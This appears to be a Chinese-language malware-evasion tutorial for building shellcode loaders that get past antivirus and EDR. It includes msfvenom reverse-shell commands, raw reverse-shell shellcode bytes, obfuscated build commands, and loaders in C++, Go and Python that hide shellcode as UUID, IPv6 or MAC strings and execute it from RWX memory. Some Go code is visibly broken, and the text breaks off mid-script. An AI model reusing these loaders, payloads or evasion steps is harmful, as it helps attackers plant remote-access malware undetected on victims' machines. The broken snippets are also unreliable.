Shellcode loader
杀毒软件和EDR检测原理¶
杀毒软件和EDR检测病毒主要是有以下几种方式:
-
静态检测:对可执行文件做特征扫描或做Hash计算,扫描其中的字符串或字节数据,再与病毒特征库做匹配,如果匹配中则对可执行文件做隔离或清除。
-
启发式扫描:分析文件特征,代码结构等来判断是否存在恶意行为。
-
沙箱:在隔离环境中运行恶意程序,查看软件是否有敏感行为,比如操控注册表,建立网络连接,可疑的文件访问,可执行内存分配等。
-
API Hook:一些AV和EDR会Hook住恶意代码经常调用的Win32 API,以便监测软件的行为。例如,如果一个可执行文件调用了分配可读写执行内存,将Shellcode写入分配的内存,创建线程执行分配的内存空间地址代码的API,那么多半这个软件就会被贴上恶意软件的标签。
-
内存扫描:一些比较厉害的商业EDR会执行内存扫描,比如MDE,Cortex,Crowd Strike。这一检测方式的效果是非常好的。因为无论Shellcode如何加密,要在内存中执行就必须在加载进入内存中后解密,这时候的Shellcode就相当于赤裸在EDR的扫描下,可以类比CS生成Raw格式的shellcode后,无保护的放在有AV或者EDR的机器上。如果没有实施一些内存扫描规避技术,就几乎会被检测出来。
规避思路¶
前三种的检测方法都有一些比较好的绕过方法,比如针对静态检测,我们可以采取Shellcode与加载器分离的方式,并且将Shellcode以某种方法加密,这样就不会存在比较显著的特征。
针对启发式扫描,我们可以将参考的代码简单做下混淆,修改函数名和变量名,并可以添加一些无关代码;动态寻址我们要调用的函数,这样要调用的函数名就不会出现在IAT表中。
针对沙箱,我们可以使用休眠,载入虚假dll,检查内存,CPU数量来检测执行环境是否在沙箱中,如果在沙箱中则停止执行。
后两种检测方法的规避技术针对不同的AV和EDR就可能会出现不同的效果。针对API Hook,我们可以使用一些不常见的Win32 API, 或者unhook来规避
但这种方法针对一些AV可能还有些用处,**针对EDR**效果就收效甚微了。EDR需要使用Direct Syscall或者Indirect Syscall的方式来规避API Hook.
总结来说,要在AV或者EDR无感的条件下执行CS 的Beacon,需要做到:
-
Shellcode与Loader分离,并将Shellcode做加密,规避静态查杀
-
混淆函数名,变量名,动态加载API,规避启发式扫描
-
增加检测沙箱的技术,如检测内存,CPU数量等,规避沙箱检测
-
调用生僻API,unhook API或者直接进行syscall来规避API Hook。
-
自定义C2 profile(这个也可以减少一些内存和行为特征), 自定义用户定义的反射型加载器来规避内存中的扫描,比如让Beacon 在休眠时自动加密,在执行解密;在休眠时修改内存保护属性,变为读写;在执行时变为读写执行等。
编译混淆¶
golang¶
取消黑框¶
- 编译命令
- 包含
"github.com/lxn/win"
在mian函数第一行加上win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
package main
import "github.com/lxn/win"
func main(){
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
常用编译命令¶
常用编译命令,免杀效果较好,可以减少文件体积
garble混淆¶
一些go工具混淆编译后也可以实现免杀效果
- 安装
正常会安装在go/bin目录下
- 混淆偏移
# in macos/linux
GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o app.exe main.go
# in windows
garble -literals -tiny -seed=random build -o app.exe main.go
- 其他编译
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
garble(混淆库):
-tiny 删除额外信息
-literals 混淆文字
-seed=random base64编码的随机种子
go:
-w 去掉调试信息,不能gdb调试了
-s 去掉符号表
-H windowsgui 隐藏执行窗口,不占用 cmd 终端。(被查杀率高)
-race 使数据允许竞争检测,编译时改变了生成后的文件特征
,使得杀软无法检测,当然有一天也会失效的。
去特征¶
https://github.com/optiv/Mangle
可以使用去特征工具再进行一步特征去除:
upx压缩体积¶
马子太大的话可以使用这个压缩体积
https://github.com/upx/upx
生成shellcode¶
以MSF生成的shellcode为例
# 32位
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -b -a x86 -f c
# 64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f c
# 32位
Final size of c file: 1632 bytes
unsigned char buf[] =
"\xb8\xaa\x43\x23\x10\xdb\xc8\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x59\x83\xc5\x04\x31\x45\x10\x03\x45\x10\x48\xb6\xdf"
"\xf8\x03\x39\x20\xf9\x7b\x0b\xf2\x70\x9e\x0f\x79\xd0\x50"
"\x5b\x2f\xd9\x1b\x09\xc4\x6a\x69\x86\xeb\xdb\xc7\xf0\xc2"
"\xdc\xe6\x3c\x88\x1f\x69\xc1\xd3\x73\x49\xf8\x1b\x86\x88"
"\x3d\xea\xec\x65\x93\xba\x85\x2b\x04\xce\xd8\xf7\x25\x00"
"\x57\x47\x5e\x25\xa8\x33\xd2\x24\xf9\x30\xa2\x3e\x72\x1e"
"\x13\x6f\x85\x4d\xd6\x46\xf1\x4d\x90\xd3\xce\x26\x23\x32"
"\x1f\xc7\x15\x7a\xa1\xf8\x5b\xd6\x23\xc1\x5c\xc6\x51\x39"
"\x9f\x7b\x62\xfa\xdd\xa7\xe7\x1c\x45\x23\x5f\xf8\x77\xe0"
"\x06\x8b\x74\x4d\x4c\xd3\x98\x50\x81\x68\xa4\xd9\x24\xbe"
"\x2c\x99\x02\x1a\x74\x79\x2a\x3b\xd0\x2c\x53\x5b\xbc\x91"
"\xf1\x10\x2f\xc7\x86\xd9\xaf\xe8\xda\x4d\x63\x25\xe5\x8d"
"\xeb\x3e\x96\xbf\xb4\x94\x30\xf3\x3d\x33\xc6\x82\x2a\xc4"
"\x18\x2c\x3a\x3a\x99\x4c\x12\xf9\xcd\x1c\x0c\x28\x6e\xf7"
"\xcc\xd5\xbb\x6d\xc7\x41\xe8\x67\xad\x8d\x98\x85\x51\xa7"
"\x45\x00\xb7\xe7\x25\x42\x68\x48\x96\x22\xd8\x20\xfc\xad"
"\x07\x50\xff\x64\x20\xfb\x10\xd0\x18\x94\x89\x79\xd2\x05"
"\x55\x54\x9e\x06\xdd\x5c\x5e\xc8\x16\x15\x4c\x3d\x41\xd5"
"\x8c\xbe\xe4\xd5\xe6\xba\xae\x82\x9e\xc0\x97\xe4\x00\x3a"
"\xf2\x77\x46\xc4\x83\x41\x3c\xf3\x11\xed\x2a\xfc\xf5\xed"
"\xaa\xaa\x9f\xed\xc2\x0a\xc4\xbe\xf7\x54\xd1\xd3\xab\xc0"
"\xda\x85\x18\x42\xb3\x2b\x46\xa4\x1c\xd4\xad\xb6\x5b\x2a"
"\x33\x91\xc3\x42\xcb\xa1\xf3\x92\xa1\x21\xa4\xfa\x3e\x0d"
"\x4b\xca\xbf\x84\x04\x42\x35\x49\xe6\xf3\x4a\x40\xa6\xad"
"\x4b\x67\x73\x5e\x31\x08\x84\x9f\xc6\x00\xe1\xa0\xc6\x2c"
"\x17\x9d\x10\x15\x6d\xe0\xa0\x22\x7e\x57\x84\x03\x15\x97"
"\x9a\x54\x3c";
# 64位
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x1a\x0a\xac\x16\x7a\x1c\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
shellcode混淆¶
去除shellcode的\x¶
shellcode加密混淆¶
AES加密¶
# Aes ecb encrypt
func AesEcbEncrypt(data, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
length := (len(data) + aes.BlockSize) / aes.BlockSize
plain := make([]byte, length*aes.BlockSize)
copy(plain, data)
pad := byte(len(plain) - len(data))
for i := len(data); i < len(plain); i++ {
plain[i] = pad
}
encrypted := make([]byte, len(plain))
for bs, be := 0, cipher.BlockSize(); bs < len(plain); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Encrypt(encrypted[bs:be], plain[bs:be])
}
return encrypted
}
# Aes ecb decrypt
func AesEcbDecrypt(data, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
decrypted := make([]byte, len(data))
for bs, be := 0, cipher.BlockSize(); bs < len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Decrypt(decrypted[bs:be], data[bs:be])
}
// Remove padding
pad := decrypted[len(decrypted)-1]
return decrypted[:len(decrypted)-int(pad)]
}
func generateAesKey(key []byte) []byte {
// Ensure the key is 32 bytes long
if len(key) < 32 {
paddedKey := make([]byte, 32)
copy(paddedKey, key)
return paddedKey
}
return key[:32]
}
Xor + Base64加密¶
func DecryptXorBase64(data []byte, key string) []byte {
// Decode the Base64 string
decodedData, err := base64.StdEncoding.DecodeString(string(data))
if err != nil {
fmt.Println("Error decoding Base64 string:", err)
return nil
}
// XOR decryption
keyBytes := []byte(key)
decrypted := make([]byte, len(decodedData))
for i := range decodedData {
decrypted[i] = decodedData[i] ^ keyBytes[i%len(keyBytes)]
}
return decrypted
}
Base85 + Xor + RC4加密¶
func DecryptBase85XorRc4(data []byte, base85Key, xorKey, rc4Key string) []byte {
// Decode the Base85 string
decodedData, err := base64.StdEncoding.DecodeString(string(data))
if err != nil {
fmt.Println("Error decoding Base85 string:", err)
return nil
}
// XOR decryption
xorKeyBytes := []byte(xorKey)
xorDecrypted := make([]byte, len(decodedData))
for i := range decodedData {
xorDecrypted[i] = decodedData[i] ^ xorKeyBytes[i%len(xorKeyBytes)]
}
// RC4 decryption
rc4Cipher, err := rc4.NewCipher([]byte(rc4Key))
if err != nil {
fmt.Println("Error creating RC4 cipher:", err)
return nil
}
rc4Decrypted := make([]byte, len(xorDecrypted))
rc4Cipher.XORKeyStream(rc4Decrypted, xorDecrypted)
return rc4Decrypted
}
Xor + UUID混淆¶
“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。
UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下:
思路¶
1、伪装 shellcode:
把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。
2、还原 shellcode:
在运行时,用如 UuidFromStringA() 等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。
- 转换脚本
import argparse
import pathlib
import uuid
def parse_key(s: str) -> bytes:
if all(c in "0123456789abcdefABCDEF" for c in s):
s = s.replace(" ", "")
return bytes.fromhex(s)
return s.encode()
def main():
# 解析命令行参数
p = argparse.ArgumentParser(description="将 shellcode 转换为 UUID 列表")
p.add_argument("-f", "--file", required=True,
help="原始 shellcode 文件(二进制文件)")
p.add_argument("-k", "--key", default="kun", help="XOR 密钥(字符串或16进制)")
args = p.parse_args()
key = parse_key(args.key)
sc = pathlib.Path(args.file).read_bytes()
enc = bytearray(b ^ key[i % len(key)] for i, b in enumerate(sc))
while len(enc) % 16:
# pad NOP
enc.append(0x90)
# 输出 -> 逐行 UUID
print("\n// 复制以下 UUID 到 loader 的 UUID_BLOB:\n")
for i in range(0, len(enc), 16):
print(uuid.UUID(bytes_le=bytes(enc[i:i+16])))
if __name__ == "__main__":
main()
- Shellcode_loader
C++
#include <windows.h>
constexpr BYTE XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);
static const wchar_t UUID_BLOB[] = LR"()";
int wmain()
{
// 1) 统计块数, 计算加密大小
SIZE_T uuidCount = 0;
for (const wchar_t* p = UUID_BLOB; *p; ++p)
if (*p == L'\n') ++uuidCount;
if (UUID_BLOB[0]) ++uuidCount;
const SIZE_T encSize = uuidCount * 16;
// 2) 申请 RWX 内存
BYTE* execMem = static_cast<BYTE*>(
VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
if (!execMem) return -10;
// 3) 分割 blob, 调用 UuidFromStringW 写入
wchar_t* blobCopy = _wcsdup(UUID_BLOB); // 可写副本
if (!blobCopy) return -11;
SIZE_T offset = 0;
wchar_t* ctx = nullptr;
for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);
tok && *tok;
tok = wcstok(nullptr, L"\n\r\t ", &ctx))
{
UUID* dest = reinterpret_cast<UUID*>(execMem + offset);
if (UuidFromStringW(reinterpret_cast<RPC_WSTR>(tok), dest) != RPC_S_OK) return -12;
offset += 16;
}
free(blobCopy);
// 4) XOR 解密 (就地)
for (SIZE_T i = 0; i < encSize; ++i)
execMem[i] ^= XOR_KEY[i % KEY_LEN];
FlushInstructionCache(GetCurrentProcess(), execMem, encSize);
// 5) 执行
reinterpret_cast<void(*)()>(execMem)();
// 6) 自清理
SecureZeroMemory(execMem, encSize);
VirtualFree(execMem, 0, MEM_RELEASE);
return 0;
}
Golang
package main
import (
"strings"
"syscall"
"unsafe"
)
//go:generate go run .
const XORKey = "kun"
// UUID_BLOB - 替换为你加密后的 UUID 列表
const UUID_BLOB = `
41414141-4141-4141-4141-414141414141
42424242-4242-4242-4242-424242424242
DEADBEEF-CAFE-1337-ABCD-0123456789AB
`
// Windows API via syscall
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
procVirtualFree = kernel32.NewProc("VirtualFree")
procFlushInstructionCache = kernel32.NewProc("FlushInstructionCache")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func VirtualAlloc(lpAddress unsafe.Pointer, dwSize uintptr, flAllocationType uint32, flProtect uint32) (unsafe.Pointer, error) {
addr, _, err := procVirtualAlloc.Call(
uintptr(lpAddress),
dwSize,
uintptr(flAllocationType),
uintptr(flProtect),
)
if addr == 0 {
return nil, err
}
return unsafe.Pointer(addr), nil
}
func VirtualFree(lpAddress unsafe.Pointer, dwSize uintptr, dwFreeType uint32) error {
ret, _, err := procVirtualFree.Call(
uintptr(lpAddress),
dwSize,
uintptr(dwFreeType),
)
if ret == 0 {
return err
}
return nil
}
func FlushInstructionCache() {
procFlushInstructionCache.Call(uintptr(currentProcess()), ^uintptr(0), 0)
}
func currentProcess() uintptr {
return uintptr(^uint(0) >> 1) // GetCurrentProcess() 伪值,实际为 -1
}
// uuidToBytes 将 UUID 字符串转为 16 字节
func uuidToBytes(uuidStr string) ([]byte, bool) {
uuidStr = strings.Map(func(r rune) rune {
if (r >= '0' && r <= '9') || (r >= 'a' && r <= 'f') || (r >= 'A' && r <= 'F') {
return r
}
return -1
}, uuidStr)
if len(uuidStr) != 32 {
return nil, false
}
data := make([]byte, 16)
for i := 0; i < 16; i++ {
_, err := sscanf2Byte(uuidStr[i*2:(i+1)*2])
if err != nil {
return nil, false
}
data[i] = err
}
return data, true
}
// 简易 hex 解析(Go 没有 sscanf,自己写)
func sscanf2Byte(s string) (byte, byte) {
var b byte
var err error
for _, c := range s {
b <<= 4
switch {
case c >= '0' && c <= '9':
b |= byte(c - '0')
case c >= 'a' && c <= 'f':
b |= byte(c-'a') + 10
case c >= 'A' && c <= 'F':
b |= byte(c-'A') + 10
default:
return 0, 0
}
}
return 0, b
}
func main() {
// 1) 提取所有非空行的 UUID
lines := strings.Split(UUID_BLOB, "\n")
var rawData []byte
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
bytes, ok := uuidToBytes(line)
if !ok {
continue // 忽略非法 UUID
}
rawData = append(rawData, bytes...)
}
if len(rawData) == 0 {
return
}
// 2) XOR 解密
key := []byte(XORKey)
for i := range rawData {
rawData[i] ^= key[i%len(key)]
}
// 3) 分配 RWX 内存
execMem, err := VirtualAlloc(nil, uintptr(len(rawData)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil {
return
}
// 4) 写入解密后的 shellcode
dst := unsafe.Slice((*byte)(execMem), len(rawData))
copy(dst, rawData)
// 5) 刷新指令缓存(Windows)
FlushInstructionCache()
// 6) 执行!
// 将 execMem 转为函数指针并调用
callAddr := *(*func())(unsafe.Pointer(&execMem))
callAddr()
// 7) 自清理
// 清零
for i := range dst {
dst[i] = 0
}
VirtualFree(execMem, 0, 0x8000) // MEM_RELEASE = 0x8000
}
Xor + IPv6混淆¶
“IPv6 Obfuscation” 指的是利用 IPv6 地址格式,将敏感内容(如 shellcode、payload、命令参数等)进行“伪装”或“编码”,以躲避静态特征匹配、签名检测等安全机制。它属于一种结构伪装 + 编码混淆的免杀技巧。
IPv6 是 128 位地址,由 8 段 16 位(每段 4 个十六进制字符)组成:
思路¶
类似于UUID,这类思路基本是一个意思!
1、将原始的二进制数据(如 shellcode)按每 16 字节分段;
2、每 2 字节表示成 4 位十六进制,拼成 IPv6 格式;
3、在代码中以字符串数组形式呈现,伪装为“IPv6 地址”;
4、程序运行时再反向还原成原始二进制数据。
- 转换脚本
import argparse
def xor_encrypt(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def to_ipv6_block(data16):
# 16 字节转为 IPv6 格式:8组2字节,每组转为4位16进制
hex_parts = [f'{(data16[i] << 8) + data16[i+1]:04X}' for i in range(0, 16, 2)] # noqa
return ':'.join(hex_parts)
def pad_to_16_blocks(data):
# 不足16字节,使用 0 补齐
if len(data) % 16 != 0:
pad_len = 16 - (len(data) % 16)
data += b'\x00' * pad_len
return data
def parse_args():
parser = argparse.ArgumentParser(description="XOR Encrypt and Convert Shellcode to IPv6 Format") # noqa
parser.add_argument('--key', type=str, default='kun',
help='XOR encryption key (default: kun)')
parser.add_argument('--input', type=str, required=True,
help='Input shellcode file (default: payload.bin)')
return parser.parse_args()
def main():
# get args
args = parse_args()
with open(args.input, 'rb') as f:
raw = f.read()
print(f"[+] Original shellcode size: {len(raw)} bytes")
# 1. XOR 加密
encrypted = xor_encrypt(raw, args.key.encode('utf-8'))
# 2. 填充为16字节块
padded = pad_to_16_blocks(encrypted)
# 3. 分块转换为 IPv6
ipv6_list = []
for i in range(0, len(padded), 16):
block = padded[i:i+16]
ipv6_list.append(to_ipv6_block(block))
# 4. 打印为 C++ 格式数组
print("\n[+] IPv6Shell[] for C++:\n")
print("const char* IPv6Shell[] = {")
for ip in ipv6_list:
print(f' "{ip}",')
print("};")
print(f"#define ElementsNumber {len(ipv6_list)}")
print(f"#define SizeOfShellcode {len(padded)}")
if __name__ == '__main__':
main()
- Shellcode_load
C++
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
const char* IPv6Shell[] = {
//自己的payload
};
#define ElementsNumber 56
#define SizeOfShellcode 896
unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);
BOOL DecodeIPv6Fuscation(const char* IPV6[], PVOID LpBaseAddress) {
PCSTR Terminator = NULL;
NTSTATUS STATUS;
int offset = 0;
for (int i = 0; i < ElementsNumber; i++) {
PVOID Target = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
STATUS = RtlIpv6StringToAddressA(IPV6[i], &Terminator, (in6_addr*)Target);
if (!NT_SUCCESS(STATUS)) {
printf("[!] Decode failed: %s (Status: 0x%X)\n", IPV6[i], STATUS);
return FALSE;
}
offset += 16;
}
return TRUE;
}
void XorDecryptShellcode(PBYTE buffer, SIZE_T size) {
for (SIZE_T i = 0; i < size; ++i) {
buffer[i] ^= xor_key[i % key_len];
}
}
int main() {
PVOID LpBaseAddress = VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!LpBaseAddress) {
printf("[!] VirtualAlloc failed: %d\n", GetLastError());
return -1;
}
// Step 1: 解码 IPv6 表达的 shellcode
if (!DecodeIPv6Fuscation(IPv6Shell, LpBaseAddress)) {
return -1;
}
// Step 2: XOR 解密(解码完之后)
XorDecryptShellcode((PBYTE)LpBaseAddress, SizeOfShellcode);
printf("[+] XOR 解密完成\n");
// Step 3: 执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LpBaseAddress, NULL, 0, NULL);
if (!hThread) {
printf("[!] CreateThread failed: %d\n", GetLastError());
return -1;
}
printf("[+] Shellcode 执行中...\n");
WaitForSingleObject(hThread, INFINITE);
VirtualFree(LpBaseAddress, 0, MEM_RELEASE);
return 0;
}
- Golang
package main
import (
"syscall"
"unsafe"
"fmt"
"strings"
)
// ==============================
// 配置区(需与原始 C++ 对齐)
// ==============================
const (
ElementsNumber = 56
SizeOfShellcode = 896
)
// 替换为你的实际 payload(伪造 IPv6 格式)
var IPv6Shell = []string{
// 示例(请替换):
// "ffff::1234:5678:9abc:def1:2345",
// "ffff::dead:beef:cafe:babe:1122",
// ...
// 共 56 个,每个代表 16 字节
}
var xorKey = []byte{'k', 'u', 'n'}
// ==============================
// Windows API 导入
// ==============================
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
procVirtualFree = kernel32.NewProc("VirtualFree")
procCreateThread = kernel32.NewProc("CreateThread")
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
procRtlIpv6StringToAddress = ntdll.NewProc("RtlIpv6StringToAddressA")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE = 0xFFFFFFFF
)
// ==============================
// 工具函数:模拟 RtlIpv6StringToAddressA
// ==============================
// in6_addr 表示 IPv6 地址(16 字节)
type in6_addr [16]byte
// RtlIpv6StringToAddressA 模拟 Windows API
func RtlIpv6StringToAddressA(ipStr string) (*in6_addr, bool) {
addr := in6_addr{}
// 去掉前缀(如 ffff::),只保留最后 8 组 16 位字段
parts := strings.Split(ipStr, ":")
if len(parts) < 8 {
return nil, false
}
// 取最后 8 段(假设 payload 编码在最后 16 字节)
var hexParts []string
for i := len(parts) - 8; i < len(parts); i++ {
hexParts = append(hexParts, parts[i])
}
idx := 0
for _, h := range hexParts {
if len(h) == 0 {
h = "0"
}
// 补齐为 4 位
for len(h) < 4 {
h = "0" + h
}
b1, err1 := hexChar(h[0])
b2, err2 := hexChar(h[1])
b3, err3 := hexChar(h[2])
b4, err4 := hexChar(h[3])
if err1 != nil || err2 != nil || err3 != nil || err4 != nil {
return nil, false
}
addr[idx] = (b1 << 4) | b2
addr[idx+1] = (b3 << 4) | b4
idx += 2
}
return &addr, true
}
// 十六进制字符转数值
func hexChar(c byte) (byte, error) {
switch {
case c >= '0' && c <= '9':
return c - '0', nil
case c >= 'a' && c <= 'f':
return c - 'a' + 10, nil
case c >= 'A' && c <= 'F':
return c - 'A' + 10, nil
default:
return 0, fmt.Errorf("invalid hex")
}
}
// ==============================
// 核心函数:解码 IPv6 混淆 shellcode
// ==============================
func DecodeIPv6Fuscation(ipv6List []string, output []byte) bool {
if len(output) < SizeOfShellcode {
return false
}
offset := 0
for i, ip := range ipv6List {
if i >= ElementsNumber {
break
}
ip = strings.TrimSpace(ip)
if ip == "" {
continue
}
addr, ok := RtlIpv6StringToAddressA(ip)
if !ok {
fmt.Printf("[!] Decode failed: %s\n", ip)
return false
}
copy(output[offset:], addr[:])
offset += 16
}
return true
}
// ==============================
// XOR 解密
// ==============================
func XorDecryptShellcode(data []byte, key []byte) {
for i := range data {
data[i] ^= key[i%len(key)]
}
}
// ==============================
// 主函数
// ==============================
func main() {
// Step 1: 分配 RWX 内存
virAlloc, _, err := procVirtualAlloc.Call(
0,
SizeOfShellcode,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
if virAlloc == 0 {
fmt.Printf("[!] VirtualAlloc failed\n")
return
}
baseAddr := unsafe.Pointer(virAddr)
// 创建切片访问内存
shellcode := unsafe.Slice((*byte)(baseAddr), SizeOfShellcode)
// Step 2: 解码 IPv6 混淆数据
if !DecodeIPv6Fuscation(IPv6Shell, shellcode) {
fmt.Printf("[!] IPv6 解码失败\n")
procVirtualFree.Call(virAlloc, 0, 0x8000) // MEM_RELEASE
return
}
// Step 3: XOR 解密
XorDecryptShellcode(shellcode, xorKey)
fmt.Printf("[+] XOR 解密完成\n")
// Step 4: 创建线程执行
hThread, _, err := procCreateThread.Call(
0,
0,
virAlloc,
0,
0,
0,
)
if hThread == 0 {
fmt.Printf("[!] CreateThread failed\n")
procVirtualFree.Call(virAlloc, 0, 0x8000)
return
}
fmt.Printf("[+] Shellcode 执行中...\n")
// Step 5: 等待执行完成
procWaitForSingleObject.Call(
hThread,
INFINITE,
)
// Step 6: 清理
// 尽量清零
for i := range shellcode {
shellcode[i] = 0
}
procVirtualFree.Call(virAlloc, 0, 0x8000)
fmt.Printf("[*] 清理完成\n")
}
Xor + MAC混淆¶
“MAC Obfuscation” 是一种将 原始 payload(如 shellcode)伪装成 MAC 地址格式 的免杀混淆技术,常用于绕过静态特征扫描、正则特征匹配等杀毒机制。这种方法属于结构伪装 + 可逆编码的一种。
MAC 地址每个 XX 是 1 字节(8 bit),一整组 MAC 地址表示 6 字节(48 bit)数据。 格式如下:
思路¶
1、每 6 字节 shellcode → 生成一条伪 MAC 地址字符串,使用 - 或 : 分隔;
2、程序运行时再逐条解析字符串还原为原始二进制数据。
- 转换脚本
import argparse
# ========== 配置项 ==========
xor_key = b'kun' # XOR 密钥(必须与 C++ 保持一致)
input_file = "payload.bin" # 原始 shellcode 文件(raw 格式)
group_size = 6 # MAC 地址格式为 6 字节
# ============================
def xor_encrypt(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def pad_data(data, block_size):
pad_len = block_size - (len(data) % block_size)
if pad_len != block_size:
data += b'\x90' * pad_len # 使用 NOP 填充
return data
def bytes_to_mac(b6):
return "-".join(f"{b:02X}" for b in b6)
def parse_args():
parser = argparse.ArgumentParser(description="生成 MACShell[] 数组")
parser.add_argument("-f", "--file", default=input_file,
help="原始 shellcode 文件")
parser.add_argument("-k", "--key", default=xor_key.decode(),
help="XOR 密钥")
parser.add_argument("-g", "--group_size", type=int, default=group_size,
help="MAC 地址分组大小")
return parser.parse_args()
def main():
with open(input_file, "rb") as f:
raw = f.read()
print(f"[+] 原始 shellcode 大小: {len(raw)} 字节")
encrypted = xor_encrypt(raw, xor_key)
padded = pad_data(encrypted, group_size)
mac_blocks = [bytes_to_mac(padded[i:i+group_size]) for i in range(0, len(padded), group_size)] # noqa
print("\n[+] 生成的 MACShell[]:\n")
print("const char* MACShell[] = {")
for i, mac in enumerate(mac_blocks):
print(f' "{mac}",')
print("};")
print(f"#define ElementsNumber {len(mac_blocks)}")
